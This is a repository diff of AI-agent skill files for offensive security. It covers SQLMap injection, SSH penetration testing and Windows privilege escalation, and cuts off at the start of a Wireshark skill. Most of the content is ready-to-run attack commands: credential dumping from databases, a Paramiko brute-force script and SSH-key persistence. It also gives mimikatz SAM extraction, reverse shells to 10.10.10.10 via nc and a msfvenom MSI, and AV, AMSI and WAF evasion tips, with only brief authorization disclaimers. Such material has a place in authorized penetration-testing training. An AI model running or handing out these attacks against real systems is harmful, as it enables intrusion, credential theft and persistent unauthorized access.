- Respect scope limitations defined in engagement rules
### Detection Risk
- SQLMap generates significant log entries
- Use `--random-agent` to vary User-Agent header
- Consider `--delay` to avoid triggering rate limits
- Proxy through Tor with `--tor` for anonymity (authorized tests only)
## Examples
### Example 1: Complete Database Enumeration
```bash
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
```
### Example 2: POST Request Injection
```bash
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
```
### Example 3: Bulk Target Scanning
```bash
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
```
### Example 4: Aggressive Testing
```bash
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
```
### Example 5: Extract Specific Credentials
```bash
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
```
### Example 6: OS Shell Access (Advanced)
```bash
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
```
## Troubleshooting
### Issue: "Parameter does not seem injectable"
**Cause**: SQLMap cannot find injection point
**Solution**:
```bash
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
```
### Issue: Target Behind WAF/Firewall
**Cause**: Web Application Firewall blocking requests
**Solution**:
```bash
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
```
### Issue: Connection Timeout
**Cause**: Network issues or slow target
**Solution**:
```bash
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
```
### Issue: Time-Based Attacks Too Slow
**Cause**: Default time delay too conservative
**Solution**:
```bash
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
```
### Issue: Cannot Dump Large Tables
**Cause**: Table has too many records
**Solution**:
```bash
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
```
### Issue: Session Drops During Long Scan
**Cause**: Session timeout or connection reset
**Solution**:
```bash
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
```

View File

@@ -0,0 +1,485 @@
---
name: SSH Penetration Testing
description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
---
# SSH Penetration Testing
## Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
## Prerequisites
### Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library
### Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency
## Outputs and Deliverables
1. **SSH Enumeration Report** - Versions, algorithms, configurations
2. **Credential Assessment** - Weak passwords, default credentials
3. **Vulnerability Assessment** - Known CVEs, misconfigurations
4. **Tunnel Documentation** - Port forwarding configurations
## Core Workflow
### Phase 1: SSH Service Discovery
Identify SSH services on target networks:
```bash
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open
# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100
# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# Service version detection
nmap -sV -p 22 192.168.1.100
```
### Phase 2: SSH Enumeration
Gather detailed information about SSH services:
```bash
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner grab
telnet 192.168.1.100 22
# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
```
### Phase 3: SSH Configuration Auditing
Identify weak configurations:
```bash
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100
# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100
# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
```
Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions
### Phase 4: Credential Attacks
#### Brute-Force with Hydra
```bash
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100
# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
```
#### Brute-Force with Medusa
```bash
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
```
#### Password Spraying
```bash
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
```
### Phase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
```bash
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100
# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100
# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
```
Check for exposed keys:
```bash
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
```
### Phase 6: Vulnerability Exploitation
Search for known vulnerabilities:
```bash
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2
# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow
# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
```
### Phase 7: SSH Tunneling and Port Forwarding
#### Local Port Forwarding
Forward local port to remote service:
```bash
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080
# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
```
#### Remote Port Forwarding
Expose local service to remote network:
```bash
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080
# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
```
#### Dynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for network pivoting:
```bash
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100
# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# Browser configuration
# Set SOCKS proxy to localhost:1080
```
#### ProxyJump (Jump Hosts)
Chain through multiple SSH servers:
```bash
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host
# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target
# With SSH config
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
```
### Phase 8: Post-Exploitation
Activities after gaining SSH access:
```bash
# Check sudo privileges
sudo -l
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# Extract SSH configuration
cat /etc/ssh/sshd_config
# Find other users
cat /etc/passwd | grep -v nologin
ls /home/
# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
```
### Phase 9: Custom SSH Scripts with Paramiko
Python-based SSH automation:
```python
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def execute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# Run post-exploitation commands
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
# Usage
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# Single credential test
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
```
### Phase 10: Metasploit SSH Modules
Use Metasploit for comprehensive SSH testing:
```bash
# Start Metasploit
msfconsole
# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
# Post-exploitation with SSH session
sessions -i 1
```
## Quick Reference
### SSH Enumeration Commands
| Command | Purpose |
|---------|---------|
| `nc <host> 22` | Banner grabbing |
| `ssh-audit <host>` | Configuration audit |
| `nmap --script ssh*` | SSH NSE scripts |
| `searchsploit openssh` | Find exploits |
### Brute-Force Options
| Tool | Command |
|------|---------|
| Hydra | `hydra -l user -P pass.txt ssh://host` |
| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |
| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |
| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |
### Port Forwarding Types
| Type | Command | Use Case |
|------|---------|----------|
| Local | `-L 8080:target:80` | Access remote services locally |
| Remote | `-R 8080:localhost:80` | Expose local services remotely |
| Dynamic | `-D 1080` | SOCKS proxy for pivoting |
### Common SSH Ports
| Port | Description |
|------|-------------|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |
## Constraints and Limitations
### Legal Considerations
- Always obtain written authorization
- Brute-forcing may violate ToS
- Document all testing activities
### Technical Limitations
- Rate limiting may block attacks
- Fail2ban or similar may ban IPs
- Key-based auth prevents password attacks
- Two-factor authentication adds complexity
### Evasion Techniques
- Use slow brute-force: `-t 1 -w 5`
- Distribute attacks across IPs
- Use timing-based enumeration carefully
- Respect lockout thresholds
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |

View File

@@ -0,0 +1,493 @@
---
name: Windows Privilege Escalation
description: This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
---
# Windows Privilege Escalation
## Purpose
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
## Inputs / Prerequisites
- **Initial Access**: Shell or RDP access as standard user on Windows system
- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
- **Knowledge**: Understanding of Windows security model and privileges
- **Authorization**: Written permission for penetration testing activities
## Outputs / Deliverables
- **Privilege Escalation Path**: Identified vector to higher privileges
- **Credential Dump**: Harvested passwords, hashes, or tokens
- **Elevated Shell**: Command execution as Administrator or SYSTEM
- **Vulnerability Report**: Documentation of misconfigurations and exploits
- **Remediation Recommendations**: Fixes for identified weaknesses
## Core Workflow
### 1. System Enumeration
#### Basic System Information
```powershell
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
# Environment variables
set
Get-ChildItem Env: | ft Key,Value
# List drives
wmic logicaldisk get caption,description,providername
```
#### User Enumeration
```powershell
# Current user
whoami
echo %USERNAME%
# User privileges
whoami /priv
whoami /groups
whoami /all
# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon
# User details
net user administrator
net user %USERNAME%
# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
```
#### Network Enumeration
```powershell
# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
# ARP table
arp -A
# Active connections
netstat -ano
# Network shares
net share
# Domain Controllers
nltest /DCLIST:DomainName
```
#### Antivirus Enumeration
```powershell
# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
```
### 2. Credential Harvesting
#### SAM and SYSTEM Files
```powershell
# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
# Crack with John
john --format=NT sam.txt
```
#### HiveNightmare (CVE-2021-36934)
```powershell
# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)
# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
```
#### Search for Passwords
```powershell
# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
```
#### Unattend.xml Credentials
```powershell
# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
```
#### WiFi Passwords
```powershell
# List profiles
netsh wlan show profile
# Get cleartext password
netsh wlan show profile <SSID> key=clear
# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
```
#### PowerShell History
```powershell
# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### 3. Service Exploitation
#### Incorrect Service Permissions
```powershell
# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>
# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>
```
#### Unquoted Service Paths
```powershell
# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe
```
#### AlwaysInstallElevated
```powershell
# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must return 0x1 for vulnerability
# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi
```
### 4. Token Impersonation
#### Check Impersonation Privileges
```powershell
# Look for these privileges
whoami /priv
# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege
```
#### Potato Attacks
```powershell
# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
# PrintSpoofer (Windows 10 and Server 2019)
PrintSpoofer.exe -i -c cmd
# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"
```
### 5. Kernel Exploitation
#### Find Kernel Vulnerabilities
```powershell
# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt
# Or use Watson (on target)
Watson.exe
# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
```
#### Common Kernel Exploits
```
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
```
### 6. Additional Techniques
#### DLL Hijacking
```powershell
# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
```
#### Runas with Saved Credentials
```powershell
# List saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
```
#### WSL Exploitation
```powershell
# Check for WSL
wsl whoami
# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root
# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'
```
## Quick Reference
### Enumeration Tools
| Tool | Command | Purpose |
|------|---------|---------|
| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
| Watson | `Watson.exe` | Missing patches |
| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |
### Default Writable Folders
```
C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
```
### Common Privilege Escalation Vectors
| Vector | Check Command |
|--------|---------------|
| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
| Stored credentials | `cmdkey /list` |
| Token privileges | `whoami /priv` |
| Scheduled tasks | `schtasks /query /fo LIST /v` |
### Impersonation Privilege Exploits
| Privilege | Tool | Usage |
|-----------|------|-------|
| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
| SeImpersonatePrivilege | RoguePotato | OXID resolver |
| SeBackupPrivilege | robocopy /b | Read protected files |
| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
## Constraints and Limitations
### Operational Boundaries
- Kernel exploits may cause system instability
- Some exploits require specific Windows versions
- AV/EDR may detect and block common tools
- Token impersonation requires service account context
- Some techniques require GUI access
### Detection Considerations
- Credential dumping triggers security alerts
- Service modification logged in Event Logs
- PowerShell execution may be monitored
- Known exploit signatures detected by AV
### Legal Requirements
- Only test systems with written authorization
- Document all escalation attempts
- Avoid disrupting production systems
- Report all findings through proper channels
## Examples
### Example 1: Service Binary Path Exploitation
```powershell
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS
# Check current config
sc qc MyService
# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService
# Catch shell as SYSTEM
```
### Example 2: AlwaysInstallElevated Exploitation
```powershell
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1
# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi
# Catch SYSTEM shell
```
### Example 3: JuicyPotato Token Impersonation
```powershell
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled
# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Catch SYSTEM shell
```
### Example 4: Unquoted Service Path
```powershell
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc stop "Vuln App"
sc start "Vuln App"
```
### Example 5: Credential Harvesting from Registry
```powershell
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123
# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
```
## Troubleshooting
| Issue | Cause | Solution |
|-------|-------|----------|
| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |

View File

@@ -0,0 +1,494 @@
---
name: Wireshark Network Traffic Analysis
description: This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
---
# Wireshark Network Traffic Analysis
## Purpose
Execute comprehensive network traffic analysis using Wireshark to capture, filter, and examine network packets for security investigations, performance optimization, and troubleshooting. This skill enables systematic analysis of network protocols, detection of anomalies, and reconstruction of network conversations from PCAP files.
## Inputs / Prerequisites
### Required Tools
- Wireshark installed (Windows, macOS, or Linux)
- Network interface with capture permissions
- PCAP/PCAPNG files for offline analysis
- Administrator/root privileges for live capture
### Technical Requirements
- Understanding of network protocols (TCP, UDP, HTTP, DNS)
- Familiarity with IP addressing and ports
- Knowledge of OSI model layers
- Understanding of common attack patterns
### Use Cases
- Network troubleshooting and connectivity issues
- Security incident investigation
- Malware traffic analysis
- Performance monitoring and optimization
- Protocol learning and education
## Outputs / Deliverables
### Primary Outputs
- Filtered packet captures for specific traffic
- Reconstructed communication streams
- Traffic statistics and visualizations
- Evidence documentation for incidents
